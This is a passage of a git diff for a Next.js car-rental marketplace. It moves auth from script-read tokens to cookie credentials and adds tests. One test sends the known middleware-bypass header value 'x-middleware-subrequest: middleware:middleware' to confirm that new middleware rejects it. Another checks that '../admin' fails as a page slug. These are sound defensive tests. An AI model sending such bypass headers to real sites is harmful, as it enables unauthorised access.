{themeOptions
.filter((option) => option.value !== theme)
.map((option) => (
diff --git a/apps/marketplace/src/components/MarketplaceShell.content.test.ts b/apps/marketplace/src/components/MarketplaceShell.content.test.ts
new file mode 100644
index 0000000..f597533
--- /dev/null
+++ b/apps/marketplace/src/components/MarketplaceShell.content.test.ts
@@ -0,0 +1,35 @@
+import { describe, expect, it } from 'vitest'
+import { getFooterContent, localeOptions } from './MarketplaceShell'
+
+describe('MarketplaceShell footer content registry', () => {
+ it('exposes exactly the supported marketplace locales in selector order', () => {
+ expect(localeOptions.map((option) => option.value)).toEqual(['en', 'ar', 'fr'])
+ expect(localeOptions.every((option) => option.label.length > 0 && option.flag.length > 0)).toBe(true)
+ })
+
+ it('returns English footer links with app privacy pointing at the English mobile policy', () => {
+ const content = getFooterContent('en')
+
+ expect(content.localeLabel).toBe('Global (English)')
+ expect(content.rightsLabel).toBe('All rights reserved.')
+ expect(content.primary).toContainEqual({ label: 'Privacy Policy', href: '/app-privacy-en' })
+ expect(content.secondary).toContainEqual({ label: 'Contact Sales', href: '/footer/contact-sales' })
+ })
+
+ it('returns French labels while preserving canonical footer slugs', () => {
+ const content = getFooterContent('fr')
+
+ expect(content.localeLabel).toBe('Europe (French)')
+ expect(content.primary).toContainEqual({ label: "Conditions d'utilisation", href: '/footer/terms-of-service' })
+ expect(content.secondary).toContainEqual({ label: 'Conditions générales', href: '/footer/general-conditions' })
+ })
+
+ it('returns Arabic labels and app privacy href without falling back to English copy', () => {
+ const content = getFooterContent('ar')
+
+ expect(content.localeLabel).toBe('North Africa (Arabic)')
+ expect(content.rightsLabel).toBe('جميع الحقوق محفوظة.')
+ expect(content.primary).toContainEqual({ label: 'سياسة الخصوصية', href: '/app-privacy-ar' })
+ expect(content.primary.map((item) => item.label)).not.toContain('Privacy Policy')
+ })
+})
diff --git a/apps/marketplace/src/components/MarketplaceShell.tsx b/apps/marketplace/src/components/MarketplaceShell.tsx
index bb0eac1..757e7f6 100644
--- a/apps/marketplace/src/components/MarketplaceShell.tsx
+++ b/apps/marketplace/src/components/MarketplaceShell.tsx
@@ -201,20 +201,9 @@ export default function MarketplaceShell({
}
async function syncCompanyBrand() {
- const token = document.cookie
- .split(';')
- .map((c) => c.trim())
- .find((c) => c.startsWith('employee_token='))
- ?.split('=')[1]
-
- if (!token) {
- setCompanyName(null)
- return
- }
-
try {
const response = await fetch(`${apiUrl}/companies/me/brand`, {
- headers: { Authorization: `Bearer ${token}` },
+ credentials: 'include',
})
if (!response.ok) {
diff --git a/apps/marketplace/src/components/WorkspaceFrame.boundary.test.ts b/apps/marketplace/src/components/WorkspaceFrame.boundary.test.ts
new file mode 100644
index 0000000..4ebe240
--- /dev/null
+++ b/apps/marketplace/src/components/WorkspaceFrame.boundary.test.ts
@@ -0,0 +1,48 @@
+import { afterEach, describe, expect, it, vi } from 'vitest'
+import { buildFrameUrl, FRAME_HEIGHT, getDefaultFramePath } from './WorkspaceFrame'
+
+
+afterEach(() => {
+ vi.unstubAllGlobals()
+})
+
+function stubBrowser({ cookie = '', origin = 'https://market.example' }: { cookie?: string; origin?: string } = {}) {
+ const parsed = new URL(origin)
+ vi.stubGlobal('window', {
+ location: { origin, hostname: parsed.hostname, protocol: parsed.protocol, replace: vi.fn() },
+ })
+ vi.stubGlobal('document', { cookie })
+}
+
+describe('WorkspaceFrame helpers', () => {
+ it('uses the dashboard sign-in path during server rendering', () => {
+ vi.stubGlobal('window', undefined)
+
+ expect(getDefaultFramePath('sign-in')).toBe('/dashboard/sign-in')
+ expect(buildFrameUrl('https://dashboard.example/dashboard', '/dashboard/sign-in')).toBe('/dashboard/sign-in')
+ })
+
+ it('keeps users with an employee token on the embedded sign-in path until the dashboard confirms login', () => {
+ stubBrowser({ cookie: 'other=1; employee_session=token_123' })
+
+ expect(getDefaultFramePath('sign-in')).toBe('/dashboard/sign-in')
+ })
+
+ it('keeps unauthenticated visitors on the embedded sign-in path', () => {
+ stubBrowser({ cookie: 'marketplace-language=fr' })
+
+ expect(getDefaultFramePath('sign-in')).toBe('/dashboard/sign-in')
+ })
+
+ it('rewrites a configured app base to the requested embedded path and query', () => {
+ stubBrowser({ origin: 'https://market.example' })
+
+ expect(buildFrameUrl('https://dashboard.example/dashboard', '/dashboard/reset-password?token=abc')).toBe(
+ 'https://market.example/dashboard/reset-password?token=abc',
+ )
+ })
+
+ it('documents the iframe height contract used by embedded dashboard surfaces', () => {
+ expect(FRAME_HEIGHT).toBe('calc(100vh - 56px)')
+ })
+})
diff --git a/apps/marketplace/src/components/WorkspaceFrame.tsx b/apps/marketplace/src/components/WorkspaceFrame.tsx
index 2ee0cbd..7a9f7d4 100644
--- a/apps/marketplace/src/components/WorkspaceFrame.tsx
+++ b/apps/marketplace/src/components/WorkspaceFrame.tsx
@@ -4,7 +4,7 @@ import { useEffect, useState } from 'react'
import { resolveBrowserAppUrl } from '@/lib/appUrls'
import { useMarketplacePreferences } from './MarketplaceShell'
-type FrameId = 'sign-in'
+export type FrameId = 'sign-in'
const frameConfig: Record = {
'sign-in': {
@@ -14,24 +14,15 @@ const frameConfig: Record c.trim())
- .find((c) => c.startsWith('employee_token='))
-
- if (target === 'sign-in' && employeeToken) {
- return '/dashboard'
- }
-
return frameConfig[target].path
}
-function buildFrameUrl(appUrl: string, path: string) {
+export function buildFrameUrl(appUrl: string, path: string) {
if (typeof window === 'undefined') return path
const resolvedAppUrl = resolveBrowserAppUrl(appUrl)
@@ -43,7 +34,7 @@ function buildFrameUrl(appUrl: string, path: string) {
return appBase.toString()
}
-const FRAME_HEIGHT = 'calc(100vh - 56px)'
+export const FRAME_HEIGHT = 'calc(100vh - 56px)'
export default function WorkspaceFrame({ target }: { target: FrameId }) {
const { language, theme } = useMarketplacePreferences()
@@ -60,19 +51,6 @@ export default function WorkspaceFrame({ target }: { target: FrameId }) {
setFramePath(getDefaultFramePath(target))
}, [target])
- useEffect(() => {
- if (target !== 'sign-in') return
-
- const employeeToken = document.cookie
- .split(';')
- .map((c) => c.trim())
- .find((c) => c.startsWith('employee_token='))
-
- if (employeeToken) {
- window.location.replace('/dashboard')
- }
- }, [target])
-
useEffect(() => {
function handleFrameMessage(event: MessageEvent) {
if (!event.data || typeof event.data !== 'object') return
diff --git a/apps/marketplace/src/lib/api.test.ts b/apps/marketplace/src/lib/api.test.ts
new file mode 100644
index 0000000..82f476c
--- /dev/null
+++ b/apps/marketplace/src/lib/api.test.ts
@@ -0,0 +1,73 @@
+import { afterEach, describe, expect, it, vi } from 'vitest'
+import { MarketplaceApiError, marketplaceFetch, marketplaceFetchOrDefault, marketplacePost } from './api'
+
+afterEach(() => {
+ delete process.env.NEXT_PUBLIC_API_URL
+ delete process.env.API_INTERNAL_URL
+ vi.restoreAllMocks()
+ Reflect.deleteProperty(globalThis, 'fetch')
+})
+
+describe('marketplace API helpers', () => {
+ it('unwraps successful GET responses from the data envelope', async () => {
+ const fetchMock = vi.fn(async () => ({ ok: true, json: async () => ({ data: [{ id: 'vehicle_1' }] }) }))
+ Object.defineProperty(globalThis, 'fetch', { configurable: true, value: fetchMock })
+
+ await expect(marketplaceFetch('/marketplace/vehicles')).resolves.toEqual([{ id: 'vehicle_1' }])
+ expect(fetchMock).toHaveBeenCalledWith('http://localhost:4000/api/v1/marketplace/vehicles', { cache: 'no-store' })
+ })
+
+ it('throws rich marketplace API errors', async () => {
+ Object.defineProperty(globalThis, 'fetch', {
+ configurable: true,
+ value: vi.fn(async () => ({
+ ok: false,
+ status: 409,
+ json: async () => ({ message: 'Vehicle unavailable', error: 'VEHICLE_UNAVAILABLE', nextAvailableAt: '2026-07-01T10:00:00.000Z' }),
+ })),
+ })
+
+ await expect(marketplaceFetch('/marketplace/book')).rejects.toMatchObject({
+ name: 'MarketplaceApiError',
+ message: 'Vehicle unavailable',
+ status: 409,
+ code: 'VEHICLE_UNAVAILABLE',
+ nextAvailableAt: '2026-07-01T10:00:00.000Z',
+ })
+ })
+
+ it('returns fallbacks when GET requests fail', async () => {
+ Object.defineProperty(globalThis, 'fetch', {
+ configurable: true,
+ value: vi.fn(async () => ({ ok: false, status: 500, json: async () => ({ message: 'Down' }) })),
+ })
+
+ await expect(marketplaceFetchOrDefault('/marketplace/homepage', { hero: null })).resolves.toEqual({ hero: null })
+ })
+
+ it('posts JSON payloads and unwraps successful responses', async () => {
+ process.env.NEXT_PUBLIC_API_URL = 'https://api.example.com/api/v1'
+ const fetchMock = vi.fn(async () => ({ ok: true, json: async () => ({ data: { id: 'reservation_1' } }) }))
+ Object.defineProperty(globalThis, 'fetch', { configurable: true, value: fetchMock })
+
+ await expect(marketplacePost('/site/reservations', { vehicleId: 'vehicle_1' })).resolves.toEqual({ id: 'reservation_1' })
+ expect(fetchMock).toHaveBeenCalledWith('https://api.example.com/api/v1/site/reservations', expect.objectContaining({
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({ vehicleId: 'vehicle_1' }),
+ }))
+ })
+
+ it('uses a generic error message when the response body is not JSON', async () => {
+ Object.defineProperty(globalThis, 'fetch', {
+ configurable: true,
+ value: vi.fn(async () => ({ ok: false, status: 502, json: async () => { throw new Error('bad json') } })),
+ })
+
+ await expect(marketplaceFetch('/site/homepage')).rejects.toMatchObject({
+ name: 'MarketplaceApiError',
+ message: 'Request failed',
+ status: 502,
+ })
+ })
+})
diff --git a/apps/marketplace/src/lib/appUrls.test.ts b/apps/marketplace/src/lib/appUrls.test.ts
new file mode 100644
index 0000000..6f7911f
--- /dev/null
+++ b/apps/marketplace/src/lib/appUrls.test.ts
@@ -0,0 +1,40 @@
+import { afterEach, describe, expect, it } from 'vitest'
+import { resolveBrowserAppUrl, resolveServerAppUrl } from './appUrls'
+
+function installWindow(hostname: string, protocol = 'https:') {
+ Object.defineProperty(globalThis, 'window', {
+ configurable: true,
+ value: { location: { hostname, protocol } },
+ })
+}
+
+afterEach(() => {
+ Reflect.deleteProperty(globalThis, 'window')
+})
+
+describe('marketplace app URL resolution', () => {
+ it('leaves server-side browser fallback unchanged when window is unavailable', () => {
+ expect(resolveBrowserAppUrl('http://localhost:3000')).toBe('http://localhost:3000')
+ })
+
+ it('preserves localhost fallbacks but removes trailing slash', () => {
+ installWindow('localhost')
+ expect(resolveBrowserAppUrl('http://localhost:3000/')).toBe('http://localhost:3000')
+ })
+
+ it('rewrites production browser fallbacks to the active host and protocol', () => {
+ installWindow('www.rentaldrivego.ma', 'https:')
+ expect(resolveBrowserAppUrl('http://localhost:3000')).toBe('https://www.rentaldrivego.ma')
+ })
+
+ it('keeps path prefixes while rewriting the browser origin', () => {
+ installWindow('rental.example.com', 'https:')
+ expect(resolveBrowserAppUrl('http://localhost:3000/marketplace')).toBe('https://rental.example.com/marketplace')
+ })
+
+ it('resolves server URLs from forwarded host/proto and handles invalid fallbacks safely', () => {
+ expect(resolveServerAppUrl('http://localhost:3000', 'market.example.com', 'https')).toBe('https://market.example.com:3000')
+ expect(resolveServerAppUrl('http://localhost:3000', null)).toBe('http://localhost:3000')
+ expect(resolveServerAppUrl('/relative', 'market.example.com')).toBe('/relative')
+ })
+})
diff --git a/apps/marketplace/src/lib/footerContent.test.ts b/apps/marketplace/src/lib/footerContent.test.ts
new file mode 100644
index 0000000..b6ed7a0
--- /dev/null
+++ b/apps/marketplace/src/lib/footerContent.test.ts
@@ -0,0 +1,67 @@
+import { describe, expect, it } from 'vitest'
+import {
+ appPrivacyHref,
+ appTermsHref,
+ footerPageHref,
+ footerPageSlugs,
+ getFooterPageContent,
+ isFooterPageSlug,
+} from './footerContent'
+import type { MarketplaceLanguage } from './i18n'
+
+const languages: MarketplaceLanguage[] = ['en', 'fr', 'ar']
+
+describe('marketplace footer content registry', () => {
+ it('keeps every declared slug routable and recognizable', () => {
+ expect(footerPageSlugs.length).toBeGreaterThan(5)
+
+ for (const slug of footerPageSlugs) {
+ expect(isFooterPageSlug(slug)).toBe(true)
+ expect(footerPageHref[slug]).toBe(`/footer/${slug}`)
+ }
+
+ expect(isFooterPageSlug('privacy')).toBe(false)
+ expect(isFooterPageSlug('../admin')).toBe(false)
+ })
+
+ it('provides localized title and paragraph content for every footer page', () => {
+ for (const language of languages) {
+ for (const slug of footerPageSlugs) {
+ const content = getFooterPageContent(language, slug)
+
+ expect(content.title.trim()).not.toBe('')
+ expect(content.paragraphs.length).toBeGreaterThan(0)
+ expect(content.paragraphs.every((paragraph) => paragraph.trim().length > 0)).toBe(true)
+
+ for (const section of content.sections ?? []) {
+ expect(section.heading.trim()).not.toBe('')
+ expect(section.paragraphs.length).toBeGreaterThan(0)
+ }
+ }
+ }
+ })
+
+ it('keeps website privacy and application privacy links separate by locale', () => {
+ expect(footerPageHref['privacy-policy']).toBe('/footer/privacy-policy')
+ expect(appPrivacyHref).toEqual({
+ en: '/app-privacy-en',
+ fr: '/app-privacy-fr',
+ ar: '/app-privacy-ar',
+ })
+ expect(appTermsHref).toEqual({
+ en: '/app-tc-en',
+ fr: '/app-tc-fr',
+ ar: '/app-tc-ar',
+ })
+ })
+
+ it('exposes footer policy copy that points users to the locale-matched app policy pages', () => {
+ expect(getFooterPageContent('en', 'privacy-policy').paragraphs[0]).toContain('app-privacy-en')
+ expect(getFooterPageContent('fr', 'privacy-policy').paragraphs[0]).toContain('app-privacy-fr')
+ expect(getFooterPageContent('ar', 'privacy-policy').paragraphs[0]).toContain('app-privacy-ar')
+
+ expect(getFooterPageContent('en', 'general-conditions').paragraphs[0]).toContain('app-tc-en')
+ expect(getFooterPageContent('fr', 'general-conditions').paragraphs[0]).toContain('app-tc-fr')
+ expect(getFooterPageContent('ar', 'general-conditions').paragraphs[0]).toContain('app-tc-ar')
+ })
+})
diff --git a/apps/marketplace/src/lib/footerContent.ts b/apps/marketplace/src/lib/footerContent.ts
index b3698a3..40c1cf7 100644
--- a/apps/marketplace/src/lib/footerContent.ts
+++ b/apps/marketplace/src/lib/footerContent.ts
@@ -147,7 +147,7 @@ const footerContent: Record new Map())
+
+vi.mock('next/headers', () => ({
+ cookies: async () => ({
+ get: (name: string) => {
+ const value = cookieValues.get(name)
+ return value === undefined ? undefined : { value }
+ },
+ }),
+}))
+
+import { getMarketplaceLanguage } from './i18n.server'
+import { MARKETPLACE_LANGUAGE_COOKIE, SHARED_LANGUAGE_COOKIE } from './i18n'
+
+describe('getMarketplaceLanguage', () => {
+ beforeEach(() => {
+ cookieValues.clear()
+ })
+
+ it('prefers the shared language cookie over the legacy marketplace cookie', async () => {
+ cookieValues.set(SHARED_LANGUAGE_COOKIE, 'ar')
+ cookieValues.set(MARKETPLACE_LANGUAGE_COOKIE, 'fr')
+
+ await expect(getMarketplaceLanguage()).resolves.toBe('ar')
+ })
+
+ it('falls back to the legacy marketplace cookie during migration', async () => {
+ cookieValues.set(MARKETPLACE_LANGUAGE_COOKIE, 'fr')
+
+ await expect(getMarketplaceLanguage()).resolves.toBe('fr')
+ })
+
+ it('defaults to English when cookies are absent or invalid', async () => {
+ await expect(getMarketplaceLanguage()).resolves.toBe('en')
+ cookieValues.set(SHARED_LANGUAGE_COOKIE, 'es')
+
+ await expect(getMarketplaceLanguage()).resolves.toBe('en')
+ })
+})
diff --git a/apps/marketplace/src/lib/i18n.server.ts b/apps/marketplace/src/lib/i18n.server.ts
index 9eb4af1..62ee928 100644
--- a/apps/marketplace/src/lib/i18n.server.ts
+++ b/apps/marketplace/src/lib/i18n.server.ts
@@ -1,8 +1,8 @@
import { cookies } from 'next/headers'
import { MARKETPLACE_LANGUAGE_COOKIE, SHARED_LANGUAGE_COOKIE, isMarketplaceLanguage, type MarketplaceLanguage } from './i18n'
-export function getMarketplaceLanguage(): MarketplaceLanguage {
- const cookieStore = cookies()
+export async function getMarketplaceLanguage(): Promise {
+ const cookieStore = await cookies()
const cookieValue =
cookieStore.get(SHARED_LANGUAGE_COOKIE)?.value ??
cookieStore.get(MARKETPLACE_LANGUAGE_COOKIE)?.value
diff --git a/apps/marketplace/src/lib/i18n.test.ts b/apps/marketplace/src/lib/i18n.test.ts
new file mode 100644
index 0000000..eae404c
--- /dev/null
+++ b/apps/marketplace/src/lib/i18n.test.ts
@@ -0,0 +1,18 @@
+import { describe, expect, it } from 'vitest'
+import { isMarketplaceLanguage } from './i18n'
+
+describe('marketplace language guard', () => {
+ it('accepts the supported marketplace locales', () => {
+ expect(isMarketplaceLanguage('en')).toBe(true)
+ expect(isMarketplaceLanguage('fr')).toBe(true)
+ expect(isMarketplaceLanguage('ar')).toBe(true)
+ })
+
+ it('rejects unsupported, missing, and case-mismatched locales', () => {
+ expect(isMarketplaceLanguage('de')).toBe(false)
+ expect(isMarketplaceLanguage('EN')).toBe(false)
+ expect(isMarketplaceLanguage('')).toBe(false)
+ expect(isMarketplaceLanguage(null)).toBe(false)
+ expect(isMarketplaceLanguage(undefined)).toBe(false)
+ })
+})
diff --git a/apps/marketplace/src/lib/preferences.test.ts b/apps/marketplace/src/lib/preferences.test.ts
new file mode 100644
index 0000000..57cd3cd
--- /dev/null
+++ b/apps/marketplace/src/lib/preferences.test.ts
@@ -0,0 +1,69 @@
+import { afterEach, describe, expect, it } from 'vitest'
+import { getScopedPreferenceCookieName, getScopedPreferenceKey, readScopedPreference, writeScopedPreference } from './preferences'
+
+function installBrowser(cookie = '') {
+ const store = new Map()
+ let cookieValue = cookie
+ Object.defineProperty(globalThis, 'window', {
+ configurable: true,
+ value: {
+ localStorage: {
+ getItem: (key: string) => store.get(key) ?? null,
+ setItem: (key: string, value: string) => store.set(key, value),
+ },
+ },
+ })
+ Object.defineProperty(globalThis, 'document', {
+ configurable: true,
+ value: {
+ get cookie() { return cookieValue },
+ set cookie(value: string) {
+ const [pair] = value.split(';')
+ const [name, val] = pair.split('=')
+ cookieValue = cookieValue
+ .split(';')
+ .map((chunk) => chunk.trim())
+ .filter(Boolean)
+ .filter((chunk) => !chunk.startsWith(`${name}=`))
+ .concat(`${name}=${val}`)
+ .join('; ')
+ },
+ },
+ })
+ Object.defineProperty(globalThis, 'atob', {
+ configurable: true,
+ value: (value: string) => Buffer.from(value, 'base64').toString('binary'),
+ })
+ return { store, get cookie() { return cookieValue } }
+}
+
+afterEach(() => {
+ Reflect.deleteProperty(globalThis, 'window')
+ Reflect.deleteProperty(globalThis, 'document')
+ Reflect.deleteProperty(globalThis, 'atob')
+})
+
+describe('marketplace scoped preferences', () => {
+ it('returns unscoped keys when no usable token exists', () => {
+ installBrowser()
+ expect(getScopedPreferenceKey('rentaldrivego-language')).toBe('rentaldrivego-language')
+ expect(getScopedPreferenceCookieName('rentaldrivego-language')).toBe('rentaldrivego-language')
+ })
+
+ it('reads shared cookies before legacy local-storage fallbacks', () => {
+ const browser = installBrowser('rentaldrivego-language=fr')
+ browser.store.set('marketplace-language', 'ar')
+
+ expect(readScopedPreference('rentaldrivego-language', ['marketplace-language'])).toBe('fr')
+ })
+
+ it('writes shared and legacy values without auth-token scoping', () => {
+ const browser = installBrowser()
+
+ writeScopedPreference('rentaldrivego-theme', 'dark', ['dashboard-theme'])
+
+ expect(browser.store.get('rentaldrivego-theme')).toBe('dark')
+ expect(browser.store.get('dashboard-theme')).toBe('dark')
+ expect(browser.cookie).toContain('rentaldrivego-theme=dark')
+ })
+})
diff --git a/apps/marketplace/src/lib/preferences.ts b/apps/marketplace/src/lib/preferences.ts
index dd003e9..3b0b0d0 100644
--- a/apps/marketplace/src/lib/preferences.ts
+++ b/apps/marketplace/src/lib/preferences.ts
@@ -3,16 +3,7 @@ export const SHARED_LANGUAGE_KEY = 'rentaldrivego-language'
export const SHARED_THEME_KEY = 'rentaldrivego-theme'
function readEmployeeToken() {
- if (typeof window === 'undefined') return null
-
- const localToken = window.localStorage.getItem('employee_token')
- if (localToken) return localToken
-
- return document.cookie
- .split(';')
- .map((chunk) => chunk.trim())
- .find((chunk) => chunk.startsWith('employee_token='))
- ?.split('=')[1] ?? null
+ return null
}
function decodeEmployeeId(token: string | null) {
diff --git a/apps/marketplace/src/lib/renter.test.ts b/apps/marketplace/src/lib/renter.test.ts
new file mode 100644
index 0000000..fb7b317
--- /dev/null
+++ b/apps/marketplace/src/lib/renter.test.ts
@@ -0,0 +1,78 @@
+import { afterEach, describe, expect, it, vi } from 'vitest'
+
+function installBrowser(_token?: string) {
+ const store = new Map()
+ Object.defineProperty(globalThis, 'window', {
+ configurable: true,
+ value: {
+ localStorage: {
+ getItem: vi.fn((key: string) => store.get(key) ?? null),
+ setItem: vi.fn((key: string, value: string) => store.set(key, value)),
+ removeItem: vi.fn((key: string) => store.delete(key)),
+ },
+ },
+ })
+ return store
+}
+
+afterEach(() => {
+ vi.restoreAllMocks()
+ Reflect.deleteProperty(globalThis, 'window')
+ Reflect.deleteProperty(globalThis, 'fetch')
+ vi.resetModules()
+})
+
+describe('renter client helpers', () => {
+ it('clears renter sessions through the API logout endpoint', async () => {
+ installBrowser('renter-token')
+ const fetchMock = vi.fn(async () => ({ ok: true, json: async () => ({ data: { success: true } }) }))
+ Object.defineProperty(globalThis, 'fetch', { configurable: true, value: fetchMock })
+ const { clearRenterSession } = await import('./renter')
+
+ clearRenterSession()
+
+ expect(fetchMock).toHaveBeenCalledWith('http://localhost:4000/api/v1/auth/renter/logout', expect.objectContaining({
+ method: 'POST',
+ credentials: 'include',
+ }))
+ })
+
+ it('sends cookies and unwraps renter profile data', async () => {
+ installBrowser('renter-token')
+ const fetchMock = vi.fn(async () => ({ ok: true, status: 200, json: async () => ({ data: { id: 'renter_1' } }) }))
+ Object.defineProperty(globalThis, 'fetch', { configurable: true, value: fetchMock })
+ const { loadRenterProfile } = await import('./renter')
+
+ await expect(loadRenterProfile()).resolves.toEqual({ id: 'renter_1' })
+ expect(fetchMock).toHaveBeenCalledWith('http://localhost:4000/api/v1/auth/renter/me', expect.objectContaining({
+ credentials: 'include',
+ headers: expect.objectContaining({ 'Content-Type': 'application/json' }),
+ }))
+ })
+
+ it('removes stale tokens and throws renter auth errors on 401', async () => {
+ installBrowser('expired-token')
+ Object.defineProperty(globalThis, 'fetch', {
+ configurable: true,
+ value: vi.fn(async () => ({ ok: false, status: 401, json: async () => ({ message: 'Unauthorized' }) })),
+ })
+ const { loadRenterNotifications, RenterAuthError } = await import('./renter')
+
+ await expect(loadRenterNotifications()).rejects.toBeInstanceOf(RenterAuthError)
+
+ })
+
+ it('serializes preference updates to the renter notification endpoint', async () => {
+ installBrowser('renter-token')
+ const fetchMock = vi.fn(async () => ({ ok: true, json: async () => ({ data: { success: true } }) }))
+ Object.defineProperty(globalThis, 'fetch', { configurable: true, value: fetchMock })
+ const { updateRenterPreferences } = await import('./renter')
+ const body = [{ notificationType: 'reservation', channel: 'email', enabled: true }]
+
+ await expect(updateRenterPreferences(body)).resolves.toEqual({ success: true })
+ expect(fetchMock).toHaveBeenCalledWith('http://localhost:4000/api/v1/notifications/renter/preferences', expect.objectContaining({
+ method: 'PATCH',
+ body: JSON.stringify(body),
+ }))
+ })
+})
diff --git a/apps/marketplace/src/lib/renter.ts b/apps/marketplace/src/lib/renter.ts
index 85b90f5..32f32df 100644
--- a/apps/marketplace/src/lib/renter.ts
+++ b/apps/marketplace/src/lib/renter.ts
@@ -46,26 +46,18 @@ export class RenterAuthError extends Error {
}
}
-function getRenterToken() {
- return window.localStorage.getItem('renter_token')
-}
-
async function renterFetch(path: string, init?: RequestInit): Promise {
- const token = getRenterToken()
- if (!token) throw new RenterAuthError()
-
const res = await fetch(`${API_BASE}${path}`, {
...init,
+ credentials: 'include',
headers: {
'Content-Type': 'application/json',
- Authorization: `Bearer ${token}`,
...(init?.headers ?? {}),
},
})
const json = await res.json().catch(() => null)
if (res.status === 401) {
- window.localStorage.removeItem('renter_token')
throw new RenterAuthError()
}
if (!res.ok) throw new Error(json?.message ?? 'Request failed')
@@ -73,7 +65,7 @@ async function renterFetch(path: string, init?: RequestInit): Promise {
}
export function clearRenterSession() {
- window.localStorage.removeItem('renter_token')
+ void fetch(`${API_BASE}/auth/renter/logout`, { method: 'POST', credentials: 'include' })
}
export function loadRenterProfile() {
diff --git a/apps/marketplace/src/middleware.test.ts b/apps/marketplace/src/middleware.test.ts
new file mode 100644
index 0000000..a5dd527
--- /dev/null
+++ b/apps/marketplace/src/middleware.test.ts
@@ -0,0 +1,104 @@
+import { beforeEach, describe, expect, it, vi } from 'vitest'
+
+const nextServer = vi.hoisted(() => {
+ const next = vi.fn((init?: { request?: { headers?: Headers } }) => ({
+ kind: 'next',
+ init,
+ cookies: {
+ set: vi.fn(),
+ },
+ }))
+ const MockNextResponse = vi.fn((body?: string, init?: { status?: number }) => ({
+ kind: 'response',
+ body,
+ status: init?.status,
+ })) as any
+ MockNextResponse.next = next
+ return { next, MockNextResponse }
+})
+
+vi.mock('next/server', () => ({
+ NextResponse: nextServer.MockNextResponse,
+}))
+
+function request(options: { cookies?: Record; headers?: Record } = {}) {
+ const cookies = new Map(Object.entries(options.cookies ?? {}))
+ const headers = new Headers(options.headers ?? {})
+ return {
+ cookies: {
+ get: vi.fn((name: string) => {
+ const value = cookies.get(name)
+ return value ? { value } : undefined
+ }),
+ },
+ headers,
+ }
+}
+
+beforeEach(() => {
+ nextServer.next.mockClear()
+})
+
+describe('marketplace middleware language bootstrap', () => {
+
+ it('rejects middleware subrequest headers before language handling', async () => {
+ const { middleware } = await import('./middleware')
+
+ const response = middleware(request({
+ headers: { 'x-middleware-subrequest': 'middleware:middleware' },
+ }) as never) as any
+
+ expect(response).toEqual({ kind: 'response', body: 'Unsupported internal request header', status: 400 })
+ expect(nextServer.next).not.toHaveBeenCalled()
+ })
+ it('does nothing when the canonical shared language cookie is valid', async () => {
+ const { middleware } = await import('./middleware')
+
+ const response = middleware(request({ cookies: { 'rentaldrivego-language': 'fr' } }) as never) as any
+
+ expect(response.kind).toBe('next')
+ expect(nextServer.next).toHaveBeenCalledWith()
+ expect(response.cookies.set).not.toHaveBeenCalled()
+ })
+
+ it('migrates the legacy marketplace language cookie into the shared cookie and request headers', async () => {
+ const { middleware } = await import('./middleware')
+
+ const response = middleware(request({
+ cookies: { 'marketplace-language': 'ar' },
+ headers: { cookie: 'session=abc' },
+ }) as never) as any
+
+ expect(response.cookies.set).toHaveBeenCalledWith('rentaldrivego-language', 'ar', expect.objectContaining({
+ path: '/',
+ sameSite: 'lax',
+ }))
+ expect(response.init?.request?.headers?.get('cookie')).toBe('session=abc; rentaldrivego-language=ar')
+ })
+
+ it('detects Arabic and French from Accept-Language before falling back to English', async () => {
+ const { middleware } = await import('./middleware')
+
+ const arabic = middleware(request({ headers: { 'accept-language': 'ar-MA,fr;q=0.8,en;q=0.6' } }) as never) as any
+ expect(arabic.cookies.set).toHaveBeenCalledWith('rentaldrivego-language', 'ar', expect.any(Object))
+ expect(arabic.init?.request?.headers?.get('cookie')).toBe('rentaldrivego-language=ar')
+
+ const french = middleware(request({ headers: { 'accept-language': 'de-DE,fr-FR;q=0.7,en;q=0.3' } }) as never) as any
+ expect(french.cookies.set).toHaveBeenCalledWith('rentaldrivego-language', 'fr', expect.any(Object))
+
+ const fallback = middleware(request({ headers: { 'accept-language': 'de-DE,es;q=0.9' } }) as never) as any
+ expect(fallback.cookies.set).toHaveBeenCalledWith('rentaldrivego-language', 'en', expect.any(Object))
+ })
+
+ it('rejects invalid shared and legacy language values before resolving from headers', async () => {
+ const { middleware } = await import('./middleware')
+
+ const response = middleware(request({
+ cookies: { 'rentaldrivego-language': 'es', 'marketplace-language': 'it' },
+ headers: { 'accept-language': 'fr-CA,ar;q=0.5' },
+ }) as never) as any
+
+ expect(response.cookies.set).toHaveBeenCalledWith('rentaldrivego-language', 'fr', expect.any(Object))
+ expect(response.init?.request?.headers?.get('cookie')).toBe('rentaldrivego-language=fr')
+ })
+})
diff --git a/apps/marketplace/src/middleware.ts b/apps/marketplace/src/middleware.ts
index fc98bae..1075e23 100644
--- a/apps/marketplace/src/middleware.ts
+++ b/apps/marketplace/src/middleware.ts
@@ -4,6 +4,12 @@ import type { NextRequest } from 'next/server'
const SHARED_LANGUAGE_COOKIE = 'rentaldrivego-language'
const MARKETPLACE_LANGUAGE_COOKIE = 'marketplace-language'
+
+function rejectInternalSubrequest(request: NextRequest): NextResponse | null {
+ if (!request.headers.has('x-middleware-subrequest')) return null
+ return new NextResponse('Unsupported internal request header', { status: 400 })
+}
+
function isValidLanguage(val: string | null | undefined): val is 'en' | 'fr' | 'ar' {
return val === 'en' || val === 'fr' || val === 'ar'
}
@@ -18,6 +24,9 @@ function detectFromAcceptLanguage(header: string | null): 'en' | 'fr' | 'ar' {
}
export function middleware(request: NextRequest) {
+ const rejected = rejectInternalSubrequest(request)
+ if (rejected) return rejected
+
const sharedLang = request.cookies.get(SHARED_LANGUAGE_COOKIE)?.value
// Already has the canonical language cookie — no action needed
diff --git a/apps/marketplace/tsconfig.json b/apps/marketplace/tsconfig.json
index b8cdcc7..b575f7d 100644
--- a/apps/marketplace/tsconfig.json
+++ b/apps/marketplace/tsconfig.json
@@ -1,7 +1,11 @@
{
"compilerOptions": {
"target": "ES2017",
- "lib": ["dom", "dom.iterable", "esnext"],
+ "lib": [
+ "dom",
+ "dom.iterable",
+ "esnext"
+ ],
"allowJs": true,
"skipLibCheck": true,
"strict": true,
@@ -11,13 +15,27 @@
"moduleResolution": "bundler",
"resolveJsonModule": true,
"isolatedModules": true,
- "jsx": "preserve",
+ "jsx": "react-jsx",
"incremental": true,
- "plugins": [{ "name": "next" }],
+ "plugins": [
+ {
+ "name": "next"
+ }
+ ],
"paths": {
- "@/*": ["./src/*"]
+ "@/*": [
+ "./src/*"
+ ]
}
},
- "include": ["next-env.d.ts", "**/*.ts", "**/*.tsx", ".next/types/**/*.ts"],
- "exclude": ["node_modules"]
+ "include": [
